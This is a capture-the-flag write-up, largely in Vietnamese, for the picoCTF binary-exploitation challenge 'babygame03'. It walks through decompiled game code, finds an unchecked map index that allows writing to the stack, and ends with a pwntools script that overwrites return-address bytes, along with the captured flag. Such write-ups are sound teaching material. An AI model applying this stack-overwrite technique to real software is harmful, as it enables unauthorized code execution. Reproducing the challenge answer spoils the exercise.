pwn - babygame03

Break the game and get the flag.Welcome to BabyGame 03! Navigate around the map and see what you can find! Be careful, you don't have many moves. There are obstacles that instantly end the game on collision. The game is available to download. There is no source available, so you'll have to figure your way around the map.

November 4, 2025 September 11, 2025 Hard
Author Author Hung Nguyen Tuong

Source Code

Chúng ta sử dụng IDA để decompile ra pseudocode, sau đó đặt lại các tên biến để dễ dàng theo dõi.

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int level; // [esp+0h] [ebp-AACh] BYREF
  int player; // [esp+4h] [ebp-AA8h] BYREF
  int column; // [esp+8h] [ebp-AA4h]
  _BYTE map[2700]; // [esp+13h] [ebp-A99h] BYREF
  char direction; // [esp+A9Fh] [ebp-Dh]
  int tmp; // [esp+AA0h] [ebp-Ch]
  int *p_argc; // [esp+AA4h] [ebp-8h]

  p_argc = &argc;
  init_player(&player);
  level = 1;
  tmp = 0;
  init_map(map, &player, &level);
  print_map(map, &player, &level);
  signal(2, (__sighandler_t)sigint_handler);
  do
  {
    direction = getchar();
    move_player(&player, direction, map, &level);
    print_map(map, &player, &level);
    if ( player == 29 && column == 89 && level != 4 )
    {
      puts("You win!\n Next level starting ");
      ++tmp;
      ++level;
      init_player(&player);
      init_map(map, &player, &level);
    }
  }
  while ( player != 29 || column != 89 || level != 5 || tmp != 4 );
  win(&level);
  return 0;
}

Để win() được thực thi, toàn bộ điều kiện sau phải thỏa mãn, đứng tại hàng 29, cột 89, level = 5 và một biến đếm phụ tmp = 4. Biến player ở đây cũng được hiểu là row.

init_player()

_DWORD *__cdecl init_player(_DWORD *player)
{
  *player = 4;                                  // row
  player[1] = 4;                                // column
  player[2] = 50;                               // lives
  return player;
}

Ban đầu chúng ta đứng tại hàng 4, cột 4, và chỉ được di chuyển 50 bước. Vậy việc di chuyển đến đích (29,89) sẽ không khả thi nếu ta chỉ di chuyển một cách bình thường. Nhưng giả sử ta tìm ra cách di chuyển đến đích và qua được level tiếp theo, điều kiện này if ( player == 29 && column == 89 && level != 4 ) cũng sẽ không cho chúng ta lên level 5.

init_map()

void __cdecl init_map(int map, _DWORD *player, _DWORD *level)
{
  int row; // [esp+8h] [ebp-10h]
  int col; // [esp+Ch] [ebp-Ch]

  for ( col = 0; col <= 29; ++col )
  {
    for ( row = 0; row <= 89; ++row )
    {
      if ( col == 29 && row == 89 )
      {
        *(_BYTE *)(map + 2699) = 88;
      }
      else if ( col == *player && row == player[1] )
      {
        *(_BYTE *)(90 * col + map + row) = player_tile;
      }
      else if ( col == rand() % *level && row == rand() % *level )
      {
        *(_BYTE *)(90 * col + map + row) = '#';
      }
      else
      {
        *(_BYTE *)(90 * col + map + row) = '.';
      }
    }
  }
}

Hàm này tạo ra map, và đặt một ký tự # tại vị trí bất kỳ trên map, đánh dấu ô không được đi vào. Để ý rằng thay vì mảng 2 chiều, map là mảng char một chiều gồm 2700 phần tử.

print_map()

int __cdecl print_map(int map, int player, int level)
{
  int col; // [esp+8h] [ebp-10h]
  int row; // [esp+Ch] [ebp-Ch]

  clear_screen();
  find_player_pos(map, level);
  find_end_tile_pos(map);
  print_lives_left(player);
  for ( row = 0; row <= 29; ++row )
  {
    for ( col = 0; col <= 89; ++col )
      putchar(*(char *)(90 * row + map + col));
    putchar(10);
  }
  return fflush(stdout);
}

Hàm này đơn giản là in ra map.

move_player()

_DWORD *__cdecl move_player(_DWORD *player, char direction, int map, int level)
{
  if ( (int)player[2] <= 0 )
  {
    puts("No more lives left. Game over!");
    fflush(stdout);
    exit(0);
  }
  if ( direction == 'l' )
    player_tile = getchar();
  if ( direction == 'p' )
    solve_round(map, player, level);
  *(_BYTE *)(player[1] + map + 90 * *player) = '.';
  switch ( direction )
  {
    case 'w':
      --*player;
      break;
    case 's':
      ++*player;
      break;
    case 'a':
      --player[1];
      break;
    case 'd':
      ++player[1];
      break;
  }
  if ( *(_BYTE *)(player[1] + map + 90 * *player) == '#' )
  {
    puts("You hit an obstacle!");
    fflush(stdout);
    exit(0);
  }
  *(_BYTE *)(player[1] + map + 90 * *player) = player_tile;
  --player[2];
  return player;
}

Tại đây ta biết rằng:

  • Chỉ có thể di chuyển khi còn live.
  • Nhập ký tự l và 1 ký tự bất kỳ để đổi ký tự của người chơi.
  • Nhập ký tự p sẽ thực thi hàm solve_round().
  • Nhập các ký tự wasd sẽ di chuyển ký tự người chơi theo các hướng tương ứng.
  • Chương trình kết thúc nếu đi vào ký tự #.
  • Vị trí cũ sẽ được đặt ký tự '.' sau khi người chơi đã di chuyển.

solve_round()

int __cdecl solve_round(int map, int *player, int level)
{
  int result; // eax

  while ( player[1] != 89 )
  {
    if ( player[1] > 88 )
      move_player(player, 'a', map, level);
    else
      move_player(player, 'd', map, level);
    print_map(map, (int)player, level);
  }
  while ( *player != 29 )
  {
    if ( player[1] > 28 )
      move_player(player, 's', map, level);
    else
      move_player(player, 'w', map, level);
    print_map(map, (int)player, level);
  }
  sleep(0);
  result = *player;
  if ( *player == 29 )
    return player[1];
  return result;
}

Hàm này sẽ di chuyển chúng ta đến đích luôn nếu như còn lives.

win()

int __cdecl win(int *level)
{
  int result; // eax
  char flag[60]; // [esp+0h] [ebp-48h] BYREF
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Please create 'flag.txt' in this directory with your own debugging flag.");
    fflush(stdout);
    exit(0);
  }
  fgets(flag, 60, stream);
  result = *level;
  if ( *level == 5 )
  {
    printf(flag);
    return fflush(stdout);
  }
  return result;
}

Mục tiêu của chúng ta là thực thi được hàm win(), và tại đây yêu cầu level = 5 để in ra flag.

Mitigation

Solve

Bởi vị trí của người chơi được tính toán bằng công thức 90 * col + map + row và không có điều kiện ràng buộc nào, chúng ta có thể di chuyển “ra ngoài” map, và sau đó nhập l để ghi đè 1 byte bất kỳ trên stack.

Ta có thể nghĩ đến việc ghi đè giá trị của level thành 0x5, và sau đó tiếp tục ghi đè biến đếm tmp thành 0x4. Tuy nhiên, nếu ta di chuyển thì vị trí ngay trước đó sẽ bị đặt thành ký tự '.', vậy ý tưởng ghi đè nhiều nơi là không khả thi.

Ta thử disassemble main và quan sát:

Ta biết rằng khi chuyển luồng thực thi đến một hàm bằng lệnh call, địa chỉ của lệnh ngay dưới sẽ được đặt làm return address trong stack. Cụ thể ở đây, lệnh call tại địa chỉ 0x08049927 <+182> chuyển đến move_player() sẽ đặt lệnh tại 0x0804992c <+187> làm return address.

Bên cạnh đó, ta thấy lệnh ngay sai khi kết thúc vòng while nằm tại địa chỉ 0x080499fe <+397>, và địa chỉ này chỉ khác đúng 1 byte so với return address trên stack khi vào move_player().

...
0x08049927 <+182>:   call   0x8049533 <move_player>
0x0804992c <+187>:   add    esp,0x10
...
0x080499fe <+397>:   sub    esp,0xc
0x08049a01 <+400>:   lea    eax,[ebp-0xaac]
0x08049a07 <+406>:   push   eax
0x08049a08 <+407>:   call   0x80497bc <win>
...

Vậy ta có ý tưởng đó là sử dụng ký tự l để ghi đè 1 byte cuối của return address 0x0804992c <+187> thành 0x080499fe <+397> để chuyển luồng thực thi đến kết thúc vòng lặp.

Tuy nhiên, ta không nhảy luôn đến win() ngay được bởi vì tại win() yêu cầu level = 5 thì mới in ra flag. Vậy ta sử dụng ý tưởng ở trên trước để bypass điều kiện if ( player == 29 && col == 89 && level != 4 ) bằng cách nhảy đến 0x0804997f <+270>, ta thực hiện 4 lần để level = 5.

...
0x0804997a <+265>:   call   0x80490b0 <puts@plt>
0x0804997f <+270>:   add    esp,0x10
0x08049982 <+273>:   add    DWORD PTR [ebp-0xc],0x1
0x08049986 <+277>:   mov    eax,DWORD PTR [ebp-0xaac]
0x0804998c <+283>:   add    eax,0x1
0x0804998f <+286>:   mov    DWORD PTR [ebp-0xaac],eax
0x08049995 <+292>:   sub    esp,0xc
0x08049998 <+295>:   lea    eax,[ebp-0xaa8]
0x0804999e <+301>:   push   eax
...

Trước hết để di chuyển được đến vị trí của return address, ta cần tăng lives bởi 50 là không đủ.

Trên kiến trúc 32-bit, thứ tự các đối số truyền vào sẽ được đặt vào stack. Dựa vào mã nguồn ta có move_player(_DWORD *player, char direction, int map, int level), từ đây ta xác định được địa chỉ trên stack của các đối số.

Địa chỉ của các đối số:

  • level: 0xffffc31c.
  • row: 0xffffc320.
  • column: 0xffffc324.
  • lives: 0xffffc328.
  • map: 0xffffc32f.

Do vị trí được tính theo công thức 90 * col + map + row, nên để đến được lives ta cần đặt col = 0, row = map - lives. Bạn đầu ta ở (4,4), vậy ta cần nhập ký tự w 4 lần, ký tự a 4 + map - lives lần. Nhưng làm vậy thì ta sẽ đi vào #. Nên ta sẽ đi ra ngoài map trước bằng 5 lần a, sau đó 4 lần w, tiếp đến map - lives - 1 lần a.

Tiếp đến ta sẽ ghi đè byte cuối của return address tại địa chỉ 0xffffc2fc (ret) với byte 0x7f.. Ta không thể dùng lives - ret lần a được, bởi vì làm vậy sẽ ghi vào rowcol, làm sai vị trí. Ta sẽ cần 1 lần s để về lại trong map, sau đó mới lives - ret lần a, cuối cùng 1 lần w để nhảy đến ret.

Sau 4 lần lặp lại, level = 5, ta thực hiện 1 lần tiếp theo nhưng ghi đè byte cuối của return address với byte 0xfe để kết thúc vòng while.

Script

from pwn import *

p = remote('rhea.picoctf.net', 58315)

map_ = 0xffffc32f
lives = 0xffffc328
ret = 0xffffc2fc

payload = b''

def write(last_byte):
    global payload
    payload += b'a' * 5 + b'w' * 4 +  b'a' * (map_ - lives - 1) + b'l' + last_byte
    payload += b's' + b'a' * (lives - ret) + b'w'

for i in range(4):
    write(b'\x7f')

write(b'\xfe')

p.sendlineafter(b'X\n', payload)

print(str(p.recvall()))
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to rhea.picoctf.net on port 58315: Done
[+] Receiving all data: Done (835.99KB)
[*] Closed connection to rhea.picoctf.net port 58315
b'\x1b[2JPlayer position: 4 3\nLevel: 1\nEnd tile position: 29 89\nLives left: 49\n#...
...
...X\npicoCTF{gamer_leveluP_84af2cfc}